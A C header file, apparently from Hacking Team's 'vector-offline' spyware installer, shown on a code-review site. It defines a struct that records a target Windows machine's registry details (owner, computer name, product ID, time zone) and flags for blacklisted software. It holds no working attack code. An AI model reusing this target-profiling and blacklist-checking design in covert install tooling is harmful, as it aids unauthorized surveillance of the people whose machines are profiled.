hackedteam/vector-offline

View on GitHub
OfflineInstall/Functions_OS.h

Summary

Maintainability
Test Coverage
#pragma once

#define WIN_OS 1
#define MAC_OS 2

typedef struct os_struct {
    WCHAR drive[4];
    WCHAR system_root[MAX_PATH];
    WCHAR *product_type;        // HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ProductOptions\ProductType
    WCHAR *computer_name;        // HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName\ComputerName
    WCHAR *product_name;        // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName
    WCHAR *csd_version;            // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CSDVersion
    WCHAR *reg_owner;            // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner
    WCHAR *reg_org;                // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization
    WCHAR *curr_ver;            // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion
    SYSTEMTIME install_date;    // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\InstallDate
    WCHAR *product_id;            // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
    DWORD os;
    DWORD arch;
    BOOL  is_supported;
    DWORD  is_blacklisted; 
    WCHAR bl_software[256];
    DWORD time_bias;            // HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation\ActiveTimeBias

    DWORD list_index;

    struct os_struct *next;
} os_struct_t;

extern os_struct_t *GetOSList();
extern DWORD GetOsImage(os_struct_t *os_info, BOOL is_large_icon);